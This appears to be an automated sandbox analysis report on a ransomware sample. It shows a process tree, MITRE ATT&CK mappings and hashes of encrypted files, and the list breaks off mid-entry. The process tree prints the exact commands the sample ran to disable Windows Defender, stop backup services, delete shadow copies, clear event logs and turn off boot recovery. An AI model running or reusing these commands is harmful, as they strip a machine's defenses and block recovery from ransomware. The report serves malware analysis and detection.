PID 1688 wrote to memory of 2744	1688	211xahcou.exe	28
PID 2744 wrote to memory of 2248	2744	net.exe	30
PID 2744 wrote to memory of 2248	2744	net.exe	30
PID 2744 wrote to memory of 2248	2744	net.exe	30
PID 1688 wrote to memory of 2340	1688	211xahcou.exe	31
PID 1688 wrote to memory of 2340	1688	211xahcou.exe	31
PID 1688 wrote to memory of 2340	1688	211xahcou.exe	31
PID 2340 wrote to memory of 2756	2340	net.exe	33
PID 2340 wrote to memory of 2756	2340	net.exe	33
PID 2340 wrote to memory of 2756	2340	net.exe	33
PID 1688 wrote to memory of 2772	1688	211xahcou.exe	34
PID 1688 wrote to memory of 2772	1688	211xahcou.exe	34
PID 1688 wrote to memory of 2772	1688	211xahcou.exe	34
PID 2772 wrote to memory of 2788	2772	net.exe	36
PID 2772 wrote to memory of 2788	2772	net.exe	36
PID 2772 wrote to memory of 2788	2772	net.exe	36
PID 1688 wrote to memory of 2960	1688	211xahcou.exe	37
PID 1688 wrote to memory of 2960	1688	211xahcou.exe	37
PID 1688 wrote to memory of 2960	1688	211xahcou.exe	37
PID 2960 wrote to memory of 2672	2960	net.exe	39
PID 2960 wrote to memory of 2672	2960	net.exe	39
PID 2960 wrote to memory of 2672	2960	net.exe	39
PID 1688 wrote to memory of 2708	1688	211xahcou.exe	40
PID 1688 wrote to memory of 2708	1688	211xahcou.exe	40
PID 1688 wrote to memory of 2708	1688	211xahcou.exe	40
PID 2708 wrote to memory of 1920	2708	net.exe	42
PID 2708 wrote to memory of 1920	2708	net.exe	42
PID 2708 wrote to memory of 1920	2708	net.exe	42
PID 1688 wrote to memory of 2944	1688	211xahcou.exe	43
PID 1688 wrote to memory of 2944	1688	211xahcou.exe	43
PID 1688 wrote to memory of 2944	1688	211xahcou.exe	43
PID 2944 wrote to memory of 1828	2944	net.exe	45
PID 2944 wrote to memory of 1828	2944	net.exe	45
PID 2944 wrote to memory of 1828	2944	net.exe	45
PID 1688 wrote to memory of 2596	1688	211xahcou.exe	46
PID 1688 wrote to memory of 2596	1688	211xahcou.exe	46
PID 1688 wrote to memory of 2596	1688	211xahcou.exe	46
PID 2596 wrote to memory of 2900	2596	net.exe	48
PID 2596 wrote to memory of 2900	2596	net.exe	48
PID 2596 wrote to memory of 2900	2596	net.exe	48
PID 1688 wrote to memory of 2892	1688	211xahcou.exe	49
PID 1688 wrote to memory of 2892	1688	211xahcou.exe	49
PID 1688 wrote to memory of 2892	1688	211xahcou.exe	49
PID 2892 wrote to memory of 2700	2892	net.exe	51
PID 2892 wrote to memory of 2700	2892	net.exe	51
PID 2892 wrote to memory of 2700	2892	net.exe	51
PID 1688 wrote to memory of 2676	1688	211xahcou.exe	52
PID 1688 wrote to memory of 2676	1688	211xahcou.exe	52
PID 1688 wrote to memory of 2676	1688	211xahcou.exe	52
PID 1688 wrote to memory of 2784	1688	211xahcou.exe	54
PID 1688 wrote to memory of 2784	1688	211xahcou.exe	54
PID 1688 wrote to memory of 2784	1688	211xahcou.exe	54
PID 1688 wrote to memory of 2540	1688	211xahcou.exe	56
PID 1688 wrote to memory of 2540	1688	211xahcou.exe	56
PID 1688 wrote to memory of 2540	1688	211xahcou.exe	56
PID 1688 wrote to memory of 2880	1688	211xahcou.exe	58
PID 1688 wrote to memory of 2880	1688	211xahcou.exe	58
PID 1688 wrote to memory of 2880	1688	211xahcou.exe	58
PID 1688 wrote to memory of 2872	1688	211xahcou.exe	60
PID 1688 wrote to memory of 2872	1688	211xahcou.exe	60
PID 1688 wrote to memory of 2872	1688	211xahcou.exe	60
PID 1688 wrote to memory of 3004	1688	211xahcou.exe	62

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
"C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\net.exe
  net.exe stop "NetMsmqActivator" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "NetMsmqActivator" /y
    3⤵
    PID:2248
- C:\Windows\system32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:2756
- C:\Windows\system32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:2788
- C:\Windows\system32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:2672
- C:\Windows\system32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:1920
- C:\Windows\system32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:1828
- C:\Windows\system32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:2900
- C:\Windows\system32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:2700
- C:\Windows\system32\sc.exe
  sc.exe config "NetMsmqActivator" start= disabled
  2⤵
  - Launches sc.exe
  PID:2676
- C:\Windows\system32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:2784
- C:\Windows\system32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:2540
- C:\Windows\system32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:2880
- C:\Windows\system32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:2872
- C:\Windows\system32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:3004
- C:\Windows\system32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:3052
- C:\Windows\system32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:2408
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1532
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1884
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:1628
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:2496
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:2628
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1940
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1668
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1464
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:268
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:988
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:2848
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:1176
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:272
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:688
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:856
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1384
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:1928
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:2312
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:2200
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:2376
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:1980
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:2232
- C:\Windows\system32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:2228
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:832
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:2428
- C:\Windows\system32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1068
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2344
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2276
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:396
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2460
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1408
- C:\Windows\system32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1852
- C:\Windows\system32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:916
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\system32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1008
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1076
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1520
- C:\Windows\system32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1748
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:1056
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:2940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1596
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2716
- C:\Windows\system32\notepad.exe
  notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3608
- C:\Windows\system32\cmd.exe
  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
  2⤵
  PID:3584

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6d89758,0x7fef6d89768,0x7fef6d89778
  2⤵
  PID:1820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1116 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:2
  2⤵
  PID:1484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1528 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:8
  2⤵
  PID:1084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1628 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:8
  2⤵
  PID:1772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2244 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:1
  2⤵
  PID:2804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=1724 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:1
  2⤵
  PID:2976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1116 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:2
  2⤵
  PID:1880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3188 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:1
  2⤵
  PID:2972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4080 --field-trial-handle=1248,i,1574798994240583848,4847326109729881564,131072 /prefetch:8
  2⤵
  PID:3752

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2516

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1652
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1652 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
27KB

MD5
19272de85659723b3dfa64b5f6abbac7

SHA1
d8807c5e56e9867396ed0e5e2866e4e866069ec2

SHA256
1a10b842a0eacd5ec680fdcd88d3ecb9edae1bf4d2b41cbb1b34ec2eabdde2d5

SHA512
e1399f77ca870ccca275294e72e8d8bfbef449cd0c9d9fb65626f1777fca9c264d08c328be35f6f91ba1be968abfbf7cc1eca8fe1eabe522da506ba5e3fef05e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange\TAB_OFF.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
341B

MD5
f4393bdb40865ebd0eddf5a27b87ddbd

SHA1
823b5e046d08576ac33517eaa93c61665edbb65c

SHA256
87ff13b6c9f725a3fb2e5c8ef524cc5819601e2d8331822333087a72dd035efb

SHA512
73a1db5a02928e2f903ffae6c477e7ce3d313048a0faf2216eeb9183db9e7406c2abfd8e36861f5a8a96eca220fe2d6a7771b84820ce27df232c944e56b62257

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange\TAB_ON.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
222B

MD5
a875cf9caadc406392ad4bbde44fd55c

SHA1
847e6491a3699254781e581f107becea8812ffe5

SHA256
fff5db9fafe7d0264df2c4135ca0a6252f4f4bddfc7b62471c2cca0a3fbf5954

SHA512
5b2bbdb377737bd4892e41ad1127b5767af9d7d873300d065190d03e7a130810290bdd44500a01758c1305b7e0d50bfa5694dc188f60aabbff5a9f679fc4c036

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATH_F_COL.HXK.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
114B

MD5
b8fbbc73ddde31636552ab184b4e398f

SHA1
5cfbfaea56e979a07c083f2340b10a5894812d78

SHA256
3c3702253a4695b5bcb18a2565b1d49f9f32f5f9f2442fd1395197970fa34edb

SHA512
7f0f4b098e0d37ed403be8d54e2dcbc603791ddf00e3a21747c41ecfb829fdf664b6bddda8d51309e1229b197244a1d8ae23e1b3bf3348f99f84a7a8684db8d7

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\INFOPATH_K_COL.HXK.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
113B

MD5
db9742e49c49c505b293a84518e95fa5

SHA1
406dae0b226900aad2ad2e10d8366651b848c053

SHA256
1c17b95e5098adb0c0e06aac8a8c7c50c6a5ef1b696465d548c8a922f1d3a653

SHA512
974917a72b2b3b783bb0ffcbfe0058489ae65ac0aa71ae86d77195780aeb7800848a3158fbe7ad8ddf9b30145d8a1a2c66f72484305ccf363b7981f105be295b

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\BUTTON.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_IAAAACAAAAA0.cv2gj

Filesize
185B

MD5
973779cfa96b0be367e8718db325c4ba

SHA1
be1115e7d145c8181f82b66ed30b4d5dc60bdfb7

SHA256
09d2a546c57dc9fec8fd5efd059ab8e7e21d51f582fd678f05900efef154db0a

SHA512
baba3c85e1f49e2f3b1c26f3db0cedd7a340a67c8fd5ab80e70957418d658bf137ec32fe529c01f122b932a3961fd4739eb557588d239471aa84cdfe99aa9dfa

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\TAB_OFF.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
496B

MD5
94f8f9cbbc7c55b6035f08f846d39cee

SHA1
2dad7a9174aea6a26301a00a7d3277595cfdca8f

SHA256
f1b55bf40b6fa794c1e614aa75985258a88e2165bef91eff545438b85baa5c3f

SHA512
6dabc2f1cc7872cff3682bb1d4e852d97e69cc7ae232dc9dbbb0fb3333bc3e3d99e9e2a2478cce03875abf9d2f27be964220586ae146af41484f78c98509c53c

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\TAB_ON.GIF.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
52236cec3798df288705441118df4bcc

SHA1
1fd595c15b27c07a7185cc39bcbf66c52641e32c

SHA256
71e4d48ed4515f17faa6505256314a8d6022e103714193785e7fcd08a36a051d

SHA512
0c949c6cf7c1d61978ae838e266c845cb9990ae574d6f1e80d96c5f87db15bca354aa4499ea80fa7fb47c8734b0db55d581b8e8cda07e1664423f957ef5f91e7

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.NO.XML.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
806B

MD5
fc9a01384283f760b245bafde02893ca

SHA1
27787bad85297baad51216df565e409dfac1d440

SHA256
7bdb5be38475510a7c05a3444b122a62e8cf4c05b35e656ca4deccce4a55d968

SHA512
a35db9e5336b752fdd25db32ee0584fcd93c9c366ab3119d1e5cdd235c8f77e44170fdf2ce6c182d02df750ed89b85926c2cf4bfd4b4f6d634ec0c20c100c0e0

Download Submit
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\n8pw_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
d3eca3baec61c36c9353ef1699b8bfca

SHA1
f084193262e0d462165cfac58e1422ab90df7514

SHA256
3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

SHA512
8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Download Submit
C:\Program Files\Java\jdk1.7.0_80\db\bin\startNetworkServer.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
5KB

MD5
3d04980ac70757eebeaf4b5900784872

SHA1
7eff95925b7ff0751a526f08e92480fa6d021782

SHA256
d826a2a5aa8a899c14f52ef50104be7046e4c6ceb48ed0f51ce47695c83a54db

SHA512
7e670890d8569aba2aa70132d49d285a292f09cc6bc56511e932a461b2a093f93437a6a6bccfc14b02840472a5133e14c51c5d0eafb4004c616f289e608edcb1

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
57B

MD5
adf99b54fd6f317b611320564167c305

SHA1
d3d80dd39b686e04bf31db6ac9335084e841ef73

SHA256
1b68454d53e781f8793547fde8fcb2f3b03b5c8134f37b9d8c4045cb8a5473f3

SHA512
65fb44cdaf01632d60ecf3b49ab1eb661982ee8b6a430dcf6d1e75789787c9e7356754cd071421ca44a1b32ab918be97a630b1b0ca722383eea56d40fa131642

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html.RZKrAEnmheITfGvSnTh4s3qnLfnt5rDAgFpTvCDZGDT_AAAAAAAAAAA0.cv2gj

Filesize
8KB

MD5
